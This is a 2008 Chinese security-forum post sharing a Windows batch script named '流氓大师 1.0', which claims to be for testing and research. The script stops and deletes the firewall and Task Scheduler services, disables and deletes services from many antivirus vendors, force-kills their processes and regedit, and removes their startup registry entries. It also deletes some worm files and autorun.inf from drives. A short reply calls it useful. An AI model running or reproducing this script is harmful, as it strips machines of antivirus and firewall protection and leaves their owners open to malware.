Board logo

标题: 流氓BAT [打印本页]
作者: sunnytovivi    时间: 2008-8-16 13:39     标题: 流氓BAT

流氓BAT
信息来源:红狼安全小组(www.wolfexp.net,www.crst.com.cn)
作者:破说
@echo off
title-=流氓大师 1.0=-    红狼安全小组 - www.wolfexp.net
cls
color 3f
mode con: cols=80 lines=25
set a=28
set b=7
:re
set /a a+=4
set /a b+=1
mode con: cols=%a% lines=%b%
if %a% lss 75 goto re
echo      ************************************************************************
echo      ****                      红狼安全小组官方站点                        ****
echo      ****                        www.wolfexp.net                          ****
echo      ****                        -=流氓大师 1.0=-                          ****
echo      **** 本程序提供网友测试研究, 本人不负任何责任!                       ****
echo      **** 流氓大师1.0: 加入了反杀毒软件,反木马程序,查杀熊猫病毒等功能!    ****
echo      **** 是否进行关闭所有杀毒软件，如果不需要请直接关闭，                ****
echo      **** 按任何意键继续                               BY：破说            ****
echo      ************************************************************************
pause
@net stop sharedaccess
@net stop KVWSC
@net stop KVsrvxp
@net stop Kavsvc
@net stop RsRavMon
@net share X$ /del /y
@net share X$ /del /y
@sc.exe config KVWSC start= disabled
@sc.exe config sharedaccess start= disabled
@sc.exe config KVsrvxp start= disabled
@sc.exe config Kavsvc start= disabled
@sc.exe config RsRavMon start= disabled
@sc.exe config RsCCenter start= disabled
@sc.exe config Schedule start= disabled
@sc.exe config KVWSC start= disabled
@sc.exe config AVP start= disabled
@sc.exe config McAfeeFramework start= disabled
@sc.exe config McShield start= disabled
@sc.exe config McTaskManager start= disabled
@sc.exe config wscsvc start= disabled
@sc.exe config navapsvc start= disabled
@sc.exe config KPfwSvc start= disabled
@sc.exe config SNDSrvc start= disabled
@sc.exe config ccProxy start= disabled
@sc.exe config ccEvtMgr start= disabled
@sc.exe config ccSetMgr start= disabled
@sc.exe config SPBBCSvc start= disabled
@sc.exe config Symantec Core LC start= disabled
@sc.exe config NPFMntor start= disabled
@sc.exe config MskService start= disabled
@sc.exe config FireSvc start= disabled
@sc delete RsCCenter
@sc delete KVWSC
@sc delete KVsrvxp
@sc delete Kavsvc
@sc delete RsRavMon
@sc delete Schedule
@sc delete KVWSC
@sc delete AVP
@sc delete McAfeeFramework
@sc delete McShield
@sc delete wscsvc
@sc delete navapsvc
@sc delete KPfwSvc

@sc delete SNDSrvc
@sc delete ccProxy
@sc delete ccEvtMgr
@sc delete ccSetMgr
@sc delete SPBBCSvc
@sc delete Symantec Core LC
@sc delete NPFMntor
@sc delete MskService
@sc delete FireSvc
@taskkill /f /im Nvsvc32.exe
@taskkill /f /im KVMonXP.exe
@taskkill /f /im Kvsrvxp.exe
@taskkill /f /im CCenter.exe
@taskkill /f /im KpopMon.exe
@taskkill /f /im RfwMain.exe
@taskkill /f /im KVCenter.kxp
@taskkill /f /im kavstart.exe
@taskkill /f /im RAVTIMER.exe
@taskkill /f /im RRfwMain.exe
@taskkill /f /im Rtvscan.exe
@taskkill /f /im RavMonD.exe
@taskkill /f /im regedit.exe
@taskkill /f /im KavPFW.exe
@taskkill /f /im EGHOST.exe
@taskkill /f /im VPTray.exe
@taskkill /f /im kavsvc.exe
@taskkill /f /im kvwsc.exe
@taskkill /f /im kav32.exe
@taskkill /f /im Kav.exe
@taskkill /f /im PFW.exe
@taskkill /f /im TrojDie.kxp
@taskkill /f /im FrogAgent.exe
@taskkill /f /im Logo1_.exe
@taskkill /f /im Logo_1.exe
@taskkill /f /im UIHost.exe
@taskkill /f /im KRegEx.exe
@taskkill /f /im KVXP.kxp
@taskkill /f /im RavmonD.exe
@taskkill /f /im RavTask.exe
@taskkill /f /im scan32.exe
@taskkill /f /im TBMon.exe
@taskkill /f /im scan32.exe
@taskkill /f /im UpdaterUI.exe
@taskkill /f /im naPrdMgr.exe
@taskkill /f /im VsTskMgr.exe
@taskkill /f /im sxs.exe
@taskkill /f /im Mcshield.exe
@taskkill /f /im wuauclt.exe
@tskill logo_1
@tskill rundl132
@tskill zt
@tskill wow
@tskill logo1_
@tskill Ravmon
@tskill Eghost
@tskill Mailmon  
@tskill KAVPFW
@tskill IPARMOR
@tskill Ravmond
@taskkill /f /im 0sy.exe
@taskkill /f /im 1sy.exe
@taskkill /f /im 2sy.exe
@taskkill /f /im 3sy.exe
@taskkill /f /im 4sy.exe
@taskkill /f /im 5sy.exe
@taskkill /f /im 6sy.exe
@taskkill /f /im 7sy.exe
@taskkill /f /im 8sy.exe
@taskkill /f /im 9sy.exe
@del d:\_desktop.ini /f/s/q/a
@del c:\Program Files\_desktop.ini
@del %Windir%\MickNew\MickNew.dll
@del %Windir%\MH_FILE\MH_DLL.dll
@del %Windir%\_desktop.ini
@del %Windir%\TODAYZTKING\TODAYZTKING.DLL
@attrib -h -r -s c:\go.exe
@del c:\go.exe
@del c:\setup.exe
@attrib -h -s -r c:\autorun.inf
@del c:\autorun.inf
@attrib -h -r -s d:\go.exe
@del d:\go.exe
@del d:\setup.exe
@attrib -h -s -r d:\autorun.inf
@del d:\autorun.inf
@del e:\setup.exe
@attrib -h -r -s e:\go.exe
@del e:\go.exe
@attrib -h -s -r e:\autorun.inf
@del e:\autorun.inf
@attrib -h -r -s f:\go.exe
@del f:\go.exe
@del f:\setup.exe
@attrib -h -s -r f:\autorun.inf
@del f:\autorun.inf
@attrib -h -r -s g:\go.exe
@del g:\go.exe
@del g:\setup.exe
@attrib -h -s -r g:\autorun.inf
@del g:\autorun.inf
@del h:\go.exe
@del h:\setup.exe
@attrib -h -s -r g:\autorun.inf
@del h:\autorun.inf
@del i:\go.exe
@attrib -h -s -r g:\autorun.inf
@del i:\autorun.inf
@del i:\setup.exe
@del j:\go.exe
@attrib -h -s -r g:\autorun.inf
@del j:\autorun.inf
@del j:\setup.exe
@del %windir%\system\Logo1_.exe
@del %windir%\rundl132.exe
@del %windir%\vDll.dll
@del %windir%\Dll.dll
@del %windir%\0Sy.exe
@del %windir%\1Sy.exe
@del %windir%\2Sy.exe
@del %windir%\3Sy.exe
@del %windir%\5Sy.exe
@del %windir%\1.com
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50 /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE /f
@reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse /f
@explorer http://www.wolfexp.netwww.mxconfig.cn   自由空间

http://www.mxconfig.cn
作者: 流淚╮鮭鮭    时间: 2008-8-16 18:53

这东西 ！有点用 ！ 哈哈 ！



欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2